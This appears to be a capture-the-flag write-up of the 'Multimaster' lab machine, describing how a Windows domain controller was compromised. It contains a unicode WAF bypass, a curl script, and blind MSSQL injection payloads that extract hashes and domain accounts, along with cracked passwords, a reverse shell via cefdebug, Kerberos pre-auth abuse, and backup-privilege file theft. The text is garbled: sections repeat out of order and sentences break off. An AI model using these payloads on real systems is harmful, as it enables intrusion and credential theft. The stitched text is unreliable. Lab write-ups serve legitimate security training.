System Summary
Initial Enumeration
It is for sure an AD DC: enum4linux doesn't show anything but the MEGACORP domain name
No NULL session for SMB
Let's look at the webpage:
There is form that we can use to search for colleagues
After some check with special characters we can find that % character exposes the full list of colleagues with information like email etc...:
We have to study better the query with BURP
There is something we can use for SQL Injection but if we try the standard ways, we find that there is a WAF blocking some combinations of characters that can be malicious:
- it stops request thht contains ', #, SELECT, UNION, OR (and possibly other)
The part in the red rectangle is the UTF representation of the following string min' OR 1=1 -- which is a pretty classic standard SQL Injection check
- \u0027 stands for '
- \u004f stands for O
- \u0052 stads for R
SQL Injection - Database check
Now that we can bypass the WAF check, it comes the hard part: getting information from the SQL injection vulnerability.After spending some time trying (unsuccessfully) standard techniques like UNION SELECT, I decided to follow a structured approach using the only thing that seems to work: the blind SQL injection using the ' OR technique.
First step is the identification of the database
With a shell script like the one below we can input a query and it encodes and send it to the
1 2 3 | A=\{\"name\":\"$(echo -n "A' OR BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123) --" | xxd -u -i | tr -d '\n' |sed "s/0X/\\\u00/g" | tr -d ' ' | tr -d ',')\"\} curl -v -H "Content-Type: application/json; charset=utf-8" -X POST --data $A http://10.10.10.179/api/getColleagues |
Since it is a blind SQL injection we'll get different results:
- null, if some syntax error occured
- the full list of users, if the OR statement is satisfied
With the above query we can get the full list of users: this means that the backend database system is Microsoft SQL Server.
We can therefore use more detailed query to find database name:
OR ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>97
The query gets the current database name (db_name(0)), casts it to varchar, then it gets the first character with SUBSTRING and then gets the ASCII number.
After that it compares to 97 (ASCII number of "a" and use it as condition for the OR query.
If we get the full list of users it means that the condition > 97 is met and we know that the first letter of database name is "b", or "c", "d", etc...
By changing the > 97 condition we can find when the behavior of the reply changes.
Let's say that the reply for condition >98 result in a full list of user and the reply for > 99 the result is no list.
It means that the first character of the database name is C, because ASCII decimal for C is 99.
Next we can go on with the second character with this query (note the change in the 2 character taken by the SUBSTRING)
OR ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),2,1)),0)>97
With this approach and a bit of scripting we can find the database name: hub_db
SQL Injection - Tables name discovery
With a similar approach we can find the first character of the first table in the database:ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN (SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)>97
As before, we can discover the ASCII code for the character by changing the condition > 97 and observing the output .
For example, using ASCII 107 we get a response with user list, while for ASCII 108 we get a valid response but without user list, we can say that the first character of the tables is ASCII 108 (letter l)
We then change the position in the substring from 1 to 2 to evaluate the second character
ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN (SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97
So we can find that the first table is named: logins
SQL Injection - Column name discovery
The approach for the columns is very similar: we just have to get data from syscolumns table:
The big difference here is that we have to query syscolumns with a condition where name='logins'But we can't put the ' character directly in the query, so we can substitute the login string with it's representation: char(108)+char(111)+char(103)+char(105)+char(110)+char(115)
ISNULL(ASCII(SUBSTRING(CAST((SELECT name FROM syscolumns where id=(SELECT id FROM sysobjects where name=char(108)+char(111)+char(103)+char(105)+char(110)+char(115)) and colid=1) as varchar(8000)),1,1)),0)>97
In this query there are a few things to exaplain also:
- char(108)+char(111)+char(103)+char(105)+char(110) represents the name of the table: logins
- colid=1 indicates the first colum of the table ogin
- 1 indicates the first character of the column id
- >97 the condition to execute the match needed for the Blind SQL
We can therefore find the column names of the table logins, which are:
- id
- username
- password
SQL Injection - Password Value discovery
Now we can use the query:
1 | OR ISNULL(ASCII(SUBSTRING(CAST((SELECT password from logins where id=char(49))AS varchar(8000)),$1,1)),0)=$2 |
Where
- char(49) represents the id of the user we're analyzing (49 ASCII is 1)
- $1 is the position of the character in the password
- $2 is the ASCII number of the character we're testing
By automating the request trying with $1=1 and $2 = 48 (character0), then changing $2=49, $2 = 50 etc... we can find the first letter of the password hash
Then we have to change $1 = 2
In the automation we have to take care the fact that the WAF is also blocking clients that make too many connection, so a bit of sleep/wait in the script is needed
After some work we can get some hashes (see table below)
SQL Injection - Usernames discovery
With a similar query as for the password we can discover usernames:
1 | OR ISNULL(ASCII(SUBSTRING(CAST((SELECT username from logins where id=char(49))AS varchar(8000)),$1,1)),0)=$2 |
The result for this is the following tables:
ID | USERNAME | HASH |
1 | sbauer | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 |
2 | okent | fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa |
3 | ckane | 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 |
4 | kpage | 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 |
5 | shayna | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 |
6 | james | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 |
7 | cyork | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 |
8 | rmartin | fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa |
9 | zac | 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 |
10 | jorden | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 |
11 | alyx | fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa |
12 | ilee | 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 |
13 | nbourne | fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa |
14 | zpowers | 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 |
15 | aldom | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 |
16 | minatotw | cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc |
17 | egre55 | cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc |
We find that there are 4 unique hashes that are 384 bit long
Three of them are easily cracked with hashcat using
- KECCAK384 mode (-m 17900)
- rockyou wordlist
The three passwords are:
- password1
- finance1
- banking1
But they don't work for any of the users in the table.
A simple loop of smbclient (or other) shows that
Well, infact web username might not be the same usernames in Active directory...
A simple loop of smbclient (or other) shows that
Well, infact web username might not be the same usernames in Active directory...
SQL Injection - SQL Server Usernames discovery
I believe that now the idea of Blind SQL Injection is clear, so let's use the same approach to discover the domain name (we already have it by enum4linux, but better safe then sorry.
The query is this one
OR ISNULL(ASCII(SUBSTRING(CAST((SELECT DEFAULT_DOMAIN() as mydomain) AS varchar(8000)),$1,1)),0)>$2
It shows (as expected): MEGACORP
Next there are a few things to discover as explained in this article: https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/
Active Directory RID Discovery
The first step is to get the RID of a known group in Active directory, like the "domain users"
The approach and the query is very similar
The expected result is a hex sequence of 56 character like
0x0105000000000005150000001c00d1bcd181f1492bdfc23601020000
This value is the SID of the group "MEGACORP\Domain users).
Removing the last 8 character (so keeping the initial 48 character we get the RID of the Domain
0x0105000000000005150000001c00d1bcd181f1492bdfc236
Once we have it we can construct the SID of other users.
The first user is usually administrator that starts from decimal 500 (0x1f4).
Then we have to swap the bytes to 0xf401, append to the RID and add padding the reach the 56 character length
0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
Then we can do exploration for users 501, 502, 503, etc..
0x0105000000000005150000001c00d1bcd181f1492bdfc236f5010000
0x0105000000000005150000001c00d1bcd181f1492bdfc236f6010000
0x0105000000000005150000001c00d1bcd181f1492bdfc236f7010000
We can discover that existing SIDs are:
Some SIDs are well known as explained here: https://support.microsoft.com/en-au/help/243330/well-known-security-identifiers-in-windows-operating-systems
And also, the first object created by a domain admin start with 1001
So we might use the query SELECT SUSER_SNAME() and the corresponding SQL injection
to discover the usernames where XXXX is the hex value of the SID with byte swapped (500 = f401, 501= f501, ..)
BY using the query above we can discover the following user:
With some automation we can find that user tushikikatomo and password finance1 are working!
Then look with rpcclient and we get this users:
With the inital shell we can see that there is a visual studio code installed and it's running the debugger.
There's a great tool that can be used: https://github.com/taviso/cefdebug
This tool can be used without parameter to find the debugger listening on localhost
And it can also run with some parameter to inject code
Below
We also see thhat there is an autologon.exe in the home, so we can try o
We're in we can see there's a scheduled task that start vscode as user cyork
The approach and the query is very similar
OR ISNULL((SUBSTRING((SELECT SUSER_SID(char(77)+char(69)+char(71)+char(65)+char(67)+char(79)+char(82)+char(80)+char(92)+char(100)+char(111)+char(109)+char(97)+char(105)+char(110)+char(32)+char(117)+char(115)+char(101)+char(114)+char(115))),$1,1)),0)=$2
The expected result is a hex sequence of 56 character like
0x0105000000000005150000001c00d1bcd181f1492bdfc23601020000
This value is the SID of the group "MEGACORP\Domain users).
Removing the last 8 character (so keeping the initial 48 character we get the RID of the Domain
0x0105000000000005150000001c00d1bcd181f1492bdfc236
Once we have it we can construct the SID of other users.
The first user is usually administrator that starts from decimal 500 (0x1f4).
Then we have to swap the bytes to 0xf401, append to the RID and add padding the reach the 56 character length
0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
Then we can do exploration for users 501, 502, 503, etc..
0x0105000000000005150000001c00d1bcd181f1492bdfc236f5010000
0x0105000000000005150000001c00d1bcd181f1492bdfc236f6010000
0x0105000000000005150000001c00d1bcd181f1492bdfc236f7010000
We can discover that existing SIDs are:
- 500 - 503
- 512 - 522
- 525 - 537
- 553 (0x2902)
- 571-572 (03b02 - 0x3c02)
- 1000 (0xe803)
- 1101,1102,1103,1105,1110,1111,1112
Some SIDs are well known as explained here: https://support.microsoft.com/en-au/help/243330/well-known-security-identifiers-in-windows-operating-systems
And also, the first object created by a domain admin start with 1001
So we might use the query SELECT SUSER_SNAME() and the corresponding SQL injection
OR ISNULL(ASCII(SUBSTRING(CAST((SELECT SUSER_SNAME(0x0105....236XXXX0000)) AS varchar(8000)),$1,1)),0)>$2
BY using the query above we can discover the following user:
1101 - MEGACORP\DnsAdministrators 1102 - MEGACORP\DnsUpdateProxy 1103 - MEGACORP\svc-nas 1105 - MEGACORP\Privileged IT Accounts 1110 - MEGACORP\tushikikatomo 1111 - MEGACORP\andrew 1112 - MEGACORP\lana
With some automation we can find that user tushikikatomo and password finance1 are working!
Then look with rpcclient and we get this users:
Initial Foothold & User Flag (user 1 - tushikikatomo)
User tushikikatomo is able to login with Evil-WinRM and there's the flag in its home
Further enumeration and escalation (User 2 - cyork)
There's a great tool that can be used: https://github.com/taviso/cefdebug
This tool can be used without parameter to find the debugger listening on localhost
And it can also run with some parameter to inject code
Below
- in the upper window we can setup a netcat listener
- in the lower window the cefdebug run to find the debugger listening ports and the inject of a nc.exe reverse shell
We also see thhat there is an autologon.exe in the home, so we can try o
We're in we can see there's a scheduled task that start vscode as user cyork
Further enumeration and escalation (User 3 - sbauer)
Once inside as cyork we still can't get in Development folder but we can enter the IIS c:\inetpub
Inside a subfolder we can find two files named MultimasterAPI.dll and Multimaster.pdb
Decompiling the DLL with dnSpy we can see hard coded the connection string to the MS SQL database with
Trying this password, we can get a succesful login as user sbauer (credential reuse)
She doesn't have access to that Development share, but she can run Bloodhound
The user on the left is sbauer that can do a generic write to jorden user (user on the right)
So we can try different things: one of them is successful: disabling Kerberos pre auth with the command:
And from outside we can use a standard impacket script GetNPUser.py to get a TGT for jorden to kerberos
We can give this output to hashcat (-m 18200) and in a few seconds we can decrypt it:
So user jorden has password: rainforest786
Now we're user jorden and we're also member of Server Operators and we have additional privileges.
We're not able to change AD groups or users, but we can:
So an easy way to steal the root flag is to user robocopy with /ZB o /B flag (that use backup method to access retrieve file) and copy the flag to somewhere we have write access (i.e. a share on our computer:
Inside a subfolder we can find two files named MultimasterAPI.dll and Multimaster.pdb
Decompiling the DLL with dnSpy we can see hard coded the connection string to the MS SQL database with
- user finder
- Password: D3veL0pM3nT!
Trying this password, we can get a succesful login as user sbauer (credential reuse)
She doesn't have access to that Development share, but she can run Bloodhound
Further enumeration and escalation (User 4 - jorden)
The bloodhound result is
So we can try different things: one of them is successful: disabling Kerberos pre auth with the command:
And from outside we can use a standard impacket script GetNPUser.py to get a TGT for jorden to kerberos
We can give this output to hashcat (-m 18200) and in a few seconds we can decrypt it:
So user jorden has password: rainforest786
Root Flag
Now we're user jorden and we're also member of Server Operators and we have additional privileges.
We're not able to change AD groups or users, but we can:
- shutdown the system
- Change date time and timezone
- Backup and restore files: every file in the system!
So an easy way to steal the root flag is to user robocopy with /ZB o /B flag (that use backup method to access retrieve file) and copy the flag to somewhere we have write access (i.e. a share on our computer:
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.